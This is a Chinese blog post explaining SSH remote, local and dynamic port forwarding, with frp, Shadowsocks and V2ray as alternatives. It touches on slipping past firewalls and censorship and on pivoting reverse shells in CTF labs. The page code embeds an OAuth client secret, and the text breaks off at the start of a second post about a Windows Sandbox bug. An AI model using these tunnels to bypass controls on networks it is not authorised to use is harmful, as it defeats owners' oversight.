<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-05-07T00:00:00+08:00">7 May 2021</time> - 字数统计3400 - 阅读大约需要10分钟 - Hits: <span id="/2021/05/07/ssh.html" class="visitors">Loading...</span></small>
<h1 class="p-name">网络任意互联指南</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 07 May 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章介绍了SSH的多种功能如内网穿透、端口映射、代理隧道等它能让用户在面临防火墙限制时实现网络任意互联。作者惊叹于SSH的全能性但同时也指出其速度较慢的局限。文章建议对于内网穿透使用frp等更易用的替代工具对于代理隧道Shadowsocks或V2ray等高效、反检测性强的服务是更好的选择。作者最后感慨SSH的强大对网络互联的深入理解也由此提高。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#万能的ssh">万能的SSH</a><ul><li><a href="#内网穿透">内网穿透</a></li><li><a href="#端口映射">端口映射</a></li><li><a href="#代理隧道">代理隧道</a></li></ul></li><li><a href="#ssh部分功能的上位替代">SSH部分功能的上位替代</a><ul><li><a href="#内网穿透-1">内网穿透</a></li><li><a href="#代理隧道-1">代理隧道</a></li></ul></li><li><a href="#任意互联示例">任意互联示例</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>SSH真的是太厉害了<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>最近一段时间我对网络的各种连法很感兴趣比如说内网穿透端口映射或者说打隧道之类的。一般来说做这些事情应该都要装一些软件才行不过最近我发现居然平时很常用的SSH竟然包含所有我想要的这些功能真的是让我感觉很神奇。所以也许我已经火星了但是今天我还是想记录一下。</p>
<h1 id="万能的ssh">
<a href="#万能的ssh"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 万能的SSH
</h1>
<p>如果你以为SSH就只是加密了的Telnet那可真是大错特错我感觉SSH想做的事情要更厉害它可能是想做一个加密的TCP上面可以跑各种应用而且防火墙还不知道里面跑的内容是什么。 </p><p>
不过最终它也没能取代TCP毕竟它本来就是基于TCP的而且其他很多功能用的人也很少这让我感觉很可惜……不过确实SSH啥都能干就是速度慢了亿点点…… </p><p>
所以我今天就来说一说它的功能和一些上位替代。</p>
<h2 id="内网穿透">
<a href="#内网穿透"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 内网穿透
</h2>
<p>假如我有一台电脑在家,然后我还租了一个垃圾云服务器,服务器的性能很差但是家里的电脑性能很好。假如有一天我想在外面去玩我的电脑要怎么办呢? </p><p>
一般来说家里的电脑都是在内网之中,而服务器都是在公网,任何一个地方都能访问,现在我如果想访问家里的电脑直接连难度很大,几乎是做不到的对吧,于是这时候我们可以让家里的电脑去连服务器,这样我们就有一条链路连接到家里的电脑了,然后我们再用别的设备去连服务器,这样我们就能间接访问我们的电脑了。 </p><p>
具体要怎么做呢很简单用SSH就能解决这个问题首先一般服务器上都装的是Linux系统一般都是自带OpenSSH的而且还是SSH服务端现在的Windows 10也是默认自带OpenSSH的只不过是客户端。所以首先我们要做的就是用家里的电脑去连服务器。这时候的连接不能直接SSH连过去普通的连没有任何作用只是登录到远程服务器上了而已我们必须要加上一些参数就像这样</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-R</span> 3389:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>执行这条指令之后系统仍然会正常的去连接到远程服务器上,但是你如果执行一下<code class="language-plaintext highlighter-rouge">netstat -nlp</code>的话就可以发现SSH在本地也监听了一个3389的端口。不过默认的配置下SSH只会在服务器上映射这个端口在服务器外是连不上的另外如果说我只想穿透而不想打开服务器终端要该怎么办呢 </p><p>
首先默认不登录终端这个方法很简单,加点参数就可以,就像这样:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfNR</span> 3389:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>这样启动穿透之后就不会在家里的电脑上一直开着服务器终端了,只会有一个黑框而已,当然因为用了<code class="language-plaintext highlighter-rouge">-f</code>参数你即使把黑框关了也不会影响。另外还有就是映射到服务器外这个问题其实这个问题也很好解决在sshd配置文件里把<code class="language-plaintext highlighter-rouge">GatewayPorts no</code>改成<code class="language-plaintext highlighter-rouge">GatewayPorts yes</code>,设置好了之后别忘了在服务器的防火墙和服务器托管商的防火墙那里放行端口。</p>
<h2 id="端口映射">
<a href="#端口映射"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 端口映射
</h2>
<p>假如上面的穿透你设置好了但是你说你不知道sshd配置文件在哪里防火墙关不掉服务器不是你的好家伙那内网穿透还搞什么没关系SSH比你想象的要厉害假如你没办法开服务器的端口那你可以把服务器上面的端口映射到本机上。 </p><p>
那么现在内网穿透已经搞好了,但是由于各种各样的原因你访问不到服务器的端口,这时候你在外面,可以在外面用电脑执行以下命令:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfNL</span> 3390:127.0.0.1:3389 root@remote-ip
</code></pre></div></div>
<p>这样一波操作你家里的那台电脑上的3389端口就被映射到了你现在用的电脑上的3390端口了当然效率很低这个没办法毕竟SSH这些功能没有完全流行起来也是因为它的效率确实低而且还容易断也没个自带的断线重连……</p>
<h2 id="代理隧道">
<a href="#代理隧道"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代理隧道
</h2>
<p>虽然说我现在很想吐槽一下SSH并且想要赶紧说说它的一些上位替代不过我还是先把所有的SSH厉害的功能讲完吧。 </p><p>
SSH更厉害的功能就是随手开代理又叫做动态端口映射一般来说如果想要在服务器上配置一个代理很麻烦而且也很费时间但是如果用SSH隧道开一个代理就只用一条命令而且还不需要在服务器上做任何配置真的是非常的方便。
具体是什么命令呢?很简单,就是这样:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-CfND</span> 127.0.0.1:1080 root@remote-ip
</code></pre></div></div>
<p>执行这条命令之后就会在本机开一个监听地址为<code class="language-plaintext highlighter-rouge">127.0.0.1:1080</code>的socks5代理你可以使用Proxifier之类的socks5客户端去连接它然后就能直接通过这个代理用服务器上网了。假如你还想把这个代理共享给其他同在局域网的人用可以把<code class="language-plaintext highlighter-rouge">127.0.0.1</code>改成<code class="language-plaintext highlighter-rouge">0.0.0.0</code>并且加一个<code class="language-plaintext highlighter-rouge">-g</code>的参数,这样同网络的人也就可以通过你的电脑连接到隧道上了。 </p><p>
当然这个相比于上面那个端口映射要厉害一些不过如果没有socks5客户端就只能用上面那个了。 </p><p>
另外如果有国外的服务器也可以使用这种方式穿过防火长城而且因为它是走的SSH隧道基本上很难通过流量分析看出来你在做什么可惜就是效率太低很慢所以即使它抗封锁能力不错但是用的人不是很多…… </p><p>
所以呢SSH作为系统自带的软件功能已经是非常强大了有这些功能基本上可以在一定程度上无视防火墙随便穿轻松透而且再加上scp、sftp等功能连接不同的电脑真的是从未如此轻松。 </p><p>
很可惜这么好的软件效率太低了我试了一下用把同网络下的树莓派做成代理速度基本上只能达到10Mbps左右可能看1080p的直播没有问题再高一些的蓝光视频还是不太行会时不时的卡另外就更不用说连接国外的服务器了看网页确确实实没有问题视频的话也只是勉强能看体验还是不够好。虽然它作为默认安装的软件很不错但是我们还是要考虑体验的嘛所以我就来说说它的一些上位替代品吧。</p>
<h1 id="ssh部分功能的上位替代">
<a href="#ssh部分功能的上位替代"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> SSH部分功能的上位替代
</h1>
<h2 id="内网穿透-1">
<a href="#内网穿透-1"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 内网穿透
</h2>
<p>假如想要自己做一个内网穿透,目前以我自己的感受来说,感觉还是<a href="https://github.com/fatedier/frp">frp</a>最好用应该说不愧是Golang写的程序配置简单即开即用。下载一个frps的程序放在公网的服务器上基本上用默认的配置就可以直接使用不过为了安全还是建议稍微改一改默认情况下是没有验证和加密的。内网机器的话就用frpc连接就可以了具体怎么搭建官方文档已经说的很清楚了这里就不再多描述。另外如果没有公网服务器也可以试试SakuraFrp不过他们家貌似看起来快凉了国内节点要花1CNY实名认证国外节点目前凉的差不多了而且貌似经常受到攻击现在想充钱也充不了还是挺糟糕的。 </p><p>
不过他们倒是挺良心的给了个<a href="https://www.natfrp.com/peer_vendors.php">友商列表</a>,如果自己没服务器的话用这些服务商也是个不错的选择。</p>
<h2 id="代理隧道-1">
<a href="#代理隧道-1"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代理隧道
</h2>
<p>要是整正儿八经的隧道还是得用Shadowsocks或者是V2ray之类的一是反检测还是很厉害的二是效率高这些隧道软件速度是真的没话说确实相比SSH隧道而言要快很多。如果要搭Shadowsocks-libev可以看看<a href="https://gfw.report/blog/ss_tutorial/zh/">这篇文章</a>V2ray的话GitHub上有很多那种一键脚本直接用的话也没问题包括也有更稳当的Cloudflare+ws+tls模式非常的不错。 </p><p>
还有就是个人经验吧,如果真想好好上,最好不要自己租云服务器,因为大多数人没经验,不知道哪个线路好,搭出来性价比没有机场高,速度也没机场快,节点少,而且被封的成本更高,所以真要用还是去租机场比较合适。 </p><p>
因为我实际上对搞这些隧道并没有什么特别厉害的经验 <del>(不然我为啥不去开机场😂?)</del> ,所以这里就不再过多描述了。</p>
<h1 id="任意互联示例">
<a href="#任意互联示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 任意互联示例
</h1>
<p>既然目前已经有办法任意访问或者映射端口那么内网对于我们来说就不会有太多阻碍了不过如果完全没有公网IP我确实真想不出来怎么搞就是nat穿透还要一个接线的服务器。这些东西假如以后打CTF还是蛮有用的有时候CTF会特地出几个内网隔离的机器要用跳板除了用NCSSH也算是个不错的选择了。有防火墙直接把靶服务映射到自己机器上打打起来和没防火墙一个手感。再不行直接代理接过去装作目标主机扫描的时候也会方便很多。反弹shell连不到自己主机把自己映射到跳板机上吧各种连接轻松搞定。 </p><p>
就是不打CTF就说在外面突然想下论文学校能上知网挂个树莓派在学校frp连到公网服务器SSH隧道开代理然后就能随便下论文了。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>我现在又感觉互联的网络回来了看来就是有内网、防火墙也阻挡不了两台逻辑上能连接的主机。SSH真的是很厉害啊……虽然我才知道这一点不过这也就是学习的过程嘛了解了这个也许对网络有了更深入的认识吧……</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%BD%91%E7%BB%9C"><em>网络</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=SSH"><em>SSH</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%8C%87%E5%8D%97"><em>指南</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-05-07-ssh.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/05/07/ssh.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/04/18/hide.html">
上一篇Mayx的运维笔记 - 隐藏自己
</a>
</span>
<br />
<span class="next">
<a href="/2021/05/15/vulnerability.html">
下一篇:论如何发现一个计算机漏洞
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/05/07/ssh', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/05/07/ssh.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

View File

@@ -0,0 +1,349 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>论如何发现一个计算机漏洞 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="论如何发现一个计算机漏洞" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="网络安全?可不只是专业人员的事情。" />
<meta property="og:description" content="网络安全?可不只是专业人员的事情。" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-05-15T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="论如何发现一个计算机漏洞" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-05-15T00:00:00+08:00","datePublished":"2021-05-15T00:00:00+08:00","description":"网络安全?可不只是专业人员的事情。","headline":"论如何发现一个计算机漏洞","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/05/15/vulnerability.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/05/15/vulnerability.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/05/15/vulnerability.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-05-15T00:00:00+08:00">15 May 2021</time> - 字数统计3183 - 阅读大约需要10分钟 - Hits: <span id="/2021/05/15/vulnerability.html" class="visitors">Loading...</span></small>
<h1 class="p-name">论如何发现一个计算机漏洞</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sat, 15 May 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要讲述了作者发现并报告Windows沙箱存在漏洞的个人经历。作者在使用Windows沙箱时意外发现微软Edge Beta版被无理由安装并且在尝试卸载时误删了正式版Edge同时沙箱中的操作影响到物理机。随后作者将此漏洞报告给微软建议通过Microsoft Security Response Center正式渠道提交并提醒读者在复现漏洞时的环境要求。作者最后提到这个简单漏洞让他的人生中首次贡献了一个CVE Common Vulnerabilities and Exposures公共漏洞和暴露——CVE-2021-31208对自己的发现感到高兴。在分享过程中作者还提及了一个与安全相关的实验展示了如何利用代码反弹shell攻击。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#windows沙箱的漏洞发现过程与复现方法">Windows沙箱的漏洞发现过程与复现方法</a><ul><li><a href="#复现的环境要求">复现的环境要求</a></li><li><a href="#人生中第一个自己贡献了的cve">人生中第一个自己贡献了的CVE</a></li></ul></li><li><a href="#那天我黑掉的网站">那天我黑掉的网站</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>网络安全?可不只是专业人员的事情。<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>一个月前我发现了Windows沙箱有个很严重的漏洞害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的我不希望因为这种安全问题就放弃它所以我就向微软反馈了这个漏洞。 </p><p>
